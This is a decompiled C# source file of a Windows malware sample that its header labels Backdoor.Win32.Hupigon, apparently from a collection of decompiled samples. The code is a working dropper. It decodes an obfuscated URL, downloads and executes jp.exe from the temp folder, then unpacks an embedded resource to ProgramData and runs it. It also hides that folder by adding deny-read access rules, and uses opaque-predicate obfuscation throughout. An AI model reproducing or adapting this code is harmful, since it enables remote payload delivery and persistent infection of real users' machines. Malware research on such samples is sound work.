Files
2022-08-18 06:28:56 -05:00

170 lines
5.2 KiB
C#

// Decompiled with JetBrains decompiler
// Type: X
// Assembly: 12, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 02FFA771-B60F-49F4-BE51-37E50E40AF6A
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.Hupigon.mrzd-97a335ad9a7d65429e8d9aedeaa1dd6b93990dd399d43ca43d8ef174c0f0faee.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using My;
using System;
using System.Collections;
using System.IO;
using System.IO.Compression;
using System.Net;
using System.Reflection;
using System.Resources;
using System.Security.AccessControl;
using System.Security.Principal;
using System.Text;
internal class X
{
[STAThread]
public static void main()
{
if (AppDomain.CurrentDomain.BaseDirectory.Length < 4 | Strings.InStr(AppDomain.CurrentDomain.BaseDirectory.ToLower(), "temp") > 0)
{
try
{
WebClient webClient1 = new WebClient();
string path = Interaction.Environ("temp") + "\\jp.exe";
WebClient webClient2 = webClient1;
string s = "Ahr0CdOVl2XVywrPBMCTys5SzwfKAg9ZDgvYlMnVBs90ywWUmJaXmdKYoteXmJe1nc5LEgu=";
string address = X.DEB(ref s);
byte[] bytes = webClient2.DownloadData(address);
System.IO.File.WriteAllBytes(path, bytes);
Interaction.Shell(Interaction.Environ("temp") + "\\jp.exe");
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
ProjectData.ClearProjectError();
}
}
byte[] bytes1 = X.Z(X.Z((byte[]) new ResourceManager("M", Assembly.GetExecutingAssembly()).GetObject("A")));
string Path = Interaction.Environ("programdata") + "\\DCSCRES_SERVERW";
string str = Path + "\\DCSCRES_SERVERW.exe";
try
{
FileSystem.MkDir(Path);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
ProjectData.ClearProjectError();
}
try
{
X.BD(ref Path);
System.IO.File.WriteAllBytes(str, bytes1);
Interaction.Shell(str);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
ProjectData.ClearProjectError();
}
}
public static byte[] Z(byte[] Byt)
{
MemoryStream memoryStream = new MemoryStream(Byt);
GZipStream gzipStream = new GZipStream((Stream) memoryStream, CompressionMode.Decompress);
byte[] buffer = new byte[4];
memoryStream.Position = checked (memoryStream.Length - 5L);
memoryStream.Read(buffer, 0, 4);
int int32 = BitConverter.ToInt32(buffer, 0);
memoryStream.Position = 0L;
byte[] array = new byte[checked (int32 - 1 + 1)];
gzipStream.Read(array, 0, int32);
gzipStream.Dispose();
memoryStream.Dispose();
return array;
}
public static string DEB(ref string s) => Encoding.UTF8.GetString(Convert.FromBase64String(X.Lu(ref s)));
public static string Lu(ref string text)
{
string str1 = "qwertyuiopasdfghjklzxcvbnm";
string str2 = "";
int num1 = checked (text.Length - 1);
int index1 = 0;
if ((MyApplication.\u002E\u002E\u002E\u002E & 1030) == 0)
goto label_10;
label_1:
int num2 = checked (str1.Length - 1);
int index2 = 0;
if ((MyApplication.\u002E\u002E\u002E\u002E & 22) == 0)
goto label_7;
label_2:
char ch1 = text[index1];
char ch2;
if ((int) ch1 == (int) str1[index2])
{
string str3 = str2;
ch2 = text[index1];
string upper = ch2.ToString().ToUpper();
str2 = str3 + upper;
if ((MyApplication.\u002E\u002E\u002E\u002E & 5700) == 0)
goto label_9;
}
int num3 = (int) ch1;
ch2 = str1[index2];
int num4 = (int) Conversions.ToChar(ch2.ToString().ToUpper());
if (num3 == num4)
{
str2 += text[index1].ToString().ToLower();
if ((MyApplication.\u002E\u002E\u002E\u002E & 1538) == 0)
goto label_9;
}
checked { ++index2; }
label_7:
if (index2 > num2)
str2 += Conversions.ToString(text[index1]);
else
goto label_2;
label_9:
checked { ++index1; }
label_10:
if (index1 > num1)
return str2;
goto label_1;
}
public static void BD(ref string Path)
{
DirectorySecurity accessControl1 = Directory.GetAccessControl(Path, AccessControlSections.All);
IEnumerator enumerator;
try
{
enumerator = accessControl1.GetAccessRules(true, true, typeof (NTAccount)).GetEnumerator();
if ((MyApplication.\u002E\u002E\u002E\u002E & 4624) == 0)
goto label_5;
label_2:
FileSystemAccessRule current = (FileSystemAccessRule) enumerator.Current;
try
{
DirectorySecurity accessControl2 = Directory.GetAccessControl(Path, AccessControlSections.All);
FileSystemAccessRule rule = new FileSystemAccessRule((IdentityReference) new NTAccount(Strings.Split(current.IdentityReference.Value, "\\")[1]), FileSystemRights.ReadData, AccessControlType.Deny);
accessControl2.AddAccessRule(rule);
Directory.SetAccessControl(Path, accessControl2);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
ProjectData.ClearProjectError();
}
label_5:
if (enumerator.MoveNext())
goto label_2;
}
finally
{
if (enumerator is IDisposable)
(enumerator as IDisposable).Dispose();
}
}
}